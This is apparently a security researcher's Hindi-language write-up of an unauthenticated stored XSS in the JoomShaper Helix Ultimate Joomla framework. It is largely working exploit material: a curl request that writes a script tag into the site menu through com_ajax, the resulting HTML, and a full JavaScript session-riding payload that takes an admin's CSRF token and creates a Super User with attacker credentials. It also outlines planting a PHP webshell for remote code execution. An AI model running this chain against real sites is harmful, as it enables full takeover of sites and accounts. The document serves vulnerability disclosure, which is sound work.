Helix Ultimate Framework — अनधिकृत स्टोर्ड XSS (com_ajax) → एडमिन सेशन-राइडिंग → पूर्ण खाता अधिग्रहण

यह इस रिसर्च फ़ोल्डर की सबसे मजबूत खोज है — CRITICAL, पूरी तरह से एंड-टू-एंड पुष्टि की गई। helix_ultimate_delete_poc.md में वाले केवल-डिलीट बग के विपरीत, इसके पास पूरी साइट से समझौता करने का एक वास्तविक, कार्यशील रास्ता है।

Component: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + shaper_helixultimate template) Version tested: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07) Author: Amin İsayev / Proxima Cyber Security

---

सारांश

plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() एक मानक Joomla com_ajax प्लगइन इवेंट हैंडलर है (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). Joomla का कोर com_ajax कंपोनेंट स्वयं कोई प्रमाणीकरण लागू नहीं करता — यह जिम्मेदारी हमेशा प्लगइन की होती है। यह हैंडलर एक मनमाना स्टैटिक-मेथड डिस्पैच करता है:

public function onAjaxHelixultimate()
{
    $task = $input->get('task', '', 'STRING');
    $namespace = "HelixUltimate\\Framework\\HttpResponse\\";
    $class = "Response";
    $classMethod = explode('.', $task);
    if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
    else { $method = $classMethod[0]; }
    $class = $namespace . $class;
    // ... class_exists / method_exists checks ...
    $response = $class::$method();   // <-- arbitrary no-arg static call, namespace-confined
}

नेमस्पेस हार्डकोडेड है (HelixUltimate\Framework\HttpResponse\), इसलिए यह अपने आप में पूरी तरह से मनमाना RCE गैजेट नहीं है — लेकिन src/HttpResponse/Response.php में मौजूद हर एक पब्लिक स्टैटिक मेथड किसी भी व्यक्ति द्वारा, बिना प्रमाणीकरण के, बिना किसी CSRF टोकन के कॉल करने योग्य हो जाता है। उनमें से कोई भी Session::checkToken() या authorise() को कॉल नहीं करता। यह डिलीट राइट-अप में कवर किए गए एडमिन-गेटेड Request/Platform क्लास से बिल्कुल अलग, अलग एंट्री पॉइंट है — com_ajax उस गेट को पूरी तरह से बायपास कर देता है।

खतरनाक मेथड: Response::saveMegaMenuSettings()

public static function saveMegaMenuSettings()
{
    $input = Factory::getApplication()->input;
    $settings = $input->post->get('settings', [], 'ARRAY');   // attacker-controlled, unsanitized values
    $itemId = $input->post->get('id', 0, 'INT');

    $menu = new SiteMenu;
    $item = $menu->getItem($itemId);
    $params = $item->getParams();
    $params->set('helixultimatemenulayout', \json_encode($settings));

    self::updateMenuItem($itemId, $params);   // -> $db->updateObject('#__menu', $data, 'id', true)
}

यह हमलावर-नियंत्रित JSON को सीधे लाइव, पब्लिक-फेसिंग Joomla मेनू आइटम के params कॉलम में लिखता है — कोई लॉगिन नहीं, कोई CSRF टोकन नहीं, बस एक HTTP रिक्वेस्ट।

सिंक: overrides/mod_menu/default.php (वास्तविक, शिप किया गया टेम्पलेट कोड)

वास्तविक वितरित shaper_helixultimate टेम्पलेट का html/mod_menu/default.php एक 1-लाइन शिम है:

require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();

जो ( HTMLOverride.php पढ़कर सत्यापित) plugins/system/helixultimate/overrides/mod_menu/default.php पर रिज़ॉल्व होता है — यह वह फ़ाइल है जो साइट के मुख्य नेविगेशन मेनू को हर पेज पर, हर विज़िटर के लिए वास्तव में रेंडर करती है:

$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">';   // <-- zero escaping

customclass — एक कुंजी (key) जिसे हम saveMegaMenuSettings() के माध्यम से पूरी तरह नियंत्रित करते हैं — बिना htmlspecialchars() के सीधे एक HTML एट्रिब्यूट में जोड़ दी जाती है।

लाइव प्रमाण (2026-07-06, Docker: Joomla 5.4.6 + असली shaper_helixultimate टेम्पलेट + प्लगइन 2.2.6)

$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
    --data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
    --data-urlencode "id=101"

{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}

कोई CSRF टोकन फ़ील्ड बिल्कुल नहीं भेजा गया — यहाँ तक कि वह तुच्छ होमपेज-से-प्राप्त टोकन भी नहीं जो डिलीट बग को चाहिए था।

परिणामी HTML होमपेज के हर आगामी विज़िटर को परोसा गया:

<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>

एक लाइव, ब्राउज़र-निष्पादन योग्य <script> टैग, बिना किसी प्रमाणीकरण के इंजेक्ट किया गया, जो साइट के सबसे अधिक देखे जाने वाले पेज पर रेंडर हुआ (मुख्य नेविगेशन, जो केवल होमपेज ही नहीं, हर पेज पर मॉड्यूल पोज़िशन के माध्यम से मौजूद होता है)।

पूर्ण खाता अधिग्रहण / RCE तक विस्तार

यह बिल्कुल वही परिदृश्य है जिसे CVE-2026-48909 फ़ोल्डर मूल रूप से खोज रहा था, पूरी तरह से अलग कोण से प्राप्त किया गया: बिना प्रमाणीकरण वाला स्टोर्ड XSS + सेशन-राइडिंग = खाता अधिग्रहण, बिना कभी पासवर्ड चुराने या इंस्टॉलर को ब्रूट करने की आवश्यकता के।

कोई भी एडमिनिस्ट्रेटर जो उसी ब्राउज़र में पब्लिक साइट का होमपेज खोलता है जहाँ वे /administrator में लॉग इन हैं (या हाल ही में थे), अपने ब्राउज़र के कुकी जार के साथ हमलावर के जावास्क्रिप्ट को निष्पादित करेगा। कॉन्सेप्ट पेलोड (इस लैब में किसी वास्तविक एडमिन सेशन के खिलाफ निष्पादित नहीं किया गया — इस लैब में ब्राउज़र ऑटोमेशन सेट अप नहीं है जो किसी वास्तविक लॉग-इन एडमिन के पेज पर आने का अनुकरण कर सके; XSS डिलीवरी स्वयं 100% ऊपर पुष्टि की जा चुकी है, यह सुविदित, मानक अगला चरण है):

"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
  .then(r => r.text())
  .then(html => {
    const m = html.match(/name="([a-f0-9]{32})" value="1"/);
    if (!m) return;
    const token = m[1];
    const fd = new FormData();
    fd.append('jform[name]', 'sysupdate');
    fd.append('jform[username]', 'sysupdate' + Date.now());
    fd.append('jform[password]', 'AttackerP@ss123!');
    fd.append('jform[password2]', 'AttackerP@ss123!');
    fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
    fd.append('jform[block]', '0');
    fd.append('jform[groups][]', '8');   // 8 = Super Users, default Joomla group id
    fd.append('task', 'user.save');
    fd.append(token, '1');
    fetch('/administrator/index.php?option=com_users&task=user.save', {
      method: 'POST', credentials: 'include', body: fd
    });
  });
</script>

चूंकि ब्राउज़र साइट के ओरिजिन के लिए उसके पास मौजूद किसी भी सेशन कुकी को किसी भी समान-ओरिजिन रिक्वेस्ट के साथ जोड़ देता है — भले ही जावास्क्रिप्ट किसी टैब या पेज द्वारा ट्रिगर हुई हो — यह तब तक सफल रहता है जब तक फ्रंटएंड पेज देखे जाने के समय एडमिन का बैकएंड सेशन कुकी उस ब्राउज़र में मान्य है। यह हमलावर द्वारा चुनी गई क्रेडेंशियल्स के साथ एक बिल्कुल नया सुपर यूज़र खाता बनाता है। वहाँ से: /administrator में लॉग इन करें, PHP वेबशेल जोड़ने के लिए किसी भी टेम्पलेट फ़ाइल को संपादित करें (या एक नया इंस्टॉल करें) → पूर्ण RCE।

यह डिलीट बग से अधिक मजबूत क्यों है: यहाँ कॉन्टेंट लिखने की कोई सीमा लागू नहीं होती — यह प्रिमिटिव डेटा लिखता है (DB कॉलम में JSON), फ़ाइलें नहीं, लेकिन वह डेटा हर पेज व्यू पर लाइव HTML के रूप में रेंडर होता है, जो वास्तव में वही "राइट" प्रिमिटिव है जो डिलीट बग में नदारद था। मानक XSS→सेशन-राइडिंग पैटर्न के साथ मिलकर, यह उस लूप को बंद कर देता है जिसे डिलीट बग बंद नहीं कर सका।

डिटेक्शन PoC — helix_ultimate_xss_detect.py

लगभग गैर-विनाशकारी: customclass में एक हानिरहित, निष्क्रिय मार्कर स्ट्रिंग (कोई <script> नहीं, कोई कोट्स नहीं) लिखता है और जाँचता है कि क्या यह रेंडर किए गए होमपेज HTML में बिना एस्केप किए वापस आता है। बाद में मान को पुनर्स्थापित/साफ़ करता है।

एक्सप्लॉइट PoC — helix_ultimate_xss_poc.py